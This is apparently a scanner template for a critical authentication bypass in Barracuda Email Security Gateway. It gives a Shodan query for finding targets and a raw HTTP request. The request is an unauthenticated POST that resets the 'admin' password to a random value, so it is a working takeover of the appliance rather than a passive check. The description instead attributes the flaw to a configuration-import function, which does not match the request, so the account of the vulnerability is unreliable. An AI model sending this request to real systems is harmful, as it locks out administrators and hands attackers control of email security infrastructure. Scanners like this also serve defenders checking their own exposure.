id: CVE-2026-116606

info:
  name: Barracuda Email Security Gateway - Authentication Bypass
  author: DhiyaneshDk
  severity: critical
  description: |
    An authentication bypass in Barracuda Email Security Gateway versions earlier than 9.4.0.030 allows an unauthenticated remote attacker to invoke a configuration-import function and restore a crafted, compatible backup archive, resulting in unauthorized modification of the appliance’s global configuration.
  impact: |
    Unauthenticated attackers can modify the appliance's global configuration, potentially compromising security and functionality.
  remediation: |
    Update to version 9.4.0.030 or later.
  reference:
    - https://labs.watchtowr.com/barracuda-networks-is-your-new-best-friend-barracuda-email-security-gateway-pre-auth-remote-root-rce-cve-2026-116606-cve-2026-111560/
    - https://github.com/watchtowrlabs/watchTowr-vs-Barracuda-RCE-CVE-2026-116606-CVE-2026-111560
    - https://blog.ostorlab.co/barracuda-esg-pre-auth-bypass-cve-2026-116606.html
    - https://www.rescana.com/post/barracuda-esg-cve-2026-116606-111560-root-prepare-now
  classification:
    cvss-score: 9.3
    cve-id: CVE-2026-116606
    epss-score: 0.08934
    epss-percentile: 0.95313
    cwe-id: CWE-288
  metadata:
    verified: false
    max-request: 1
    vendor: barracuda
    product: email_security_gateway
    shodan-query: http.html:"Barracuda"
  tags: cve,cve2026,barracuda,esg,email-security-gateway,auth-bypass,unauth,vkev,kev

variables:
  username: "admin"
  password: "{{to_lower(rand_text_alpha(8))}}"

http:
  - raw:
      - |
        POST /cgi-mod/index.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&new_password={{password}}&retype_password={{password}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'password_change.cgi'
          - 'Error: Password Change'
          - '"success":"true"'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402205fa50fe4c4b2cadd133fb00462c9532dd643a07524a6e804b90472393b110cde02205f36dc7819979d1e529a97963df6a4cf7e3f90698800aa1cab5cc0c14cd98c9f:922c64590222798bb761d5b6d8e72950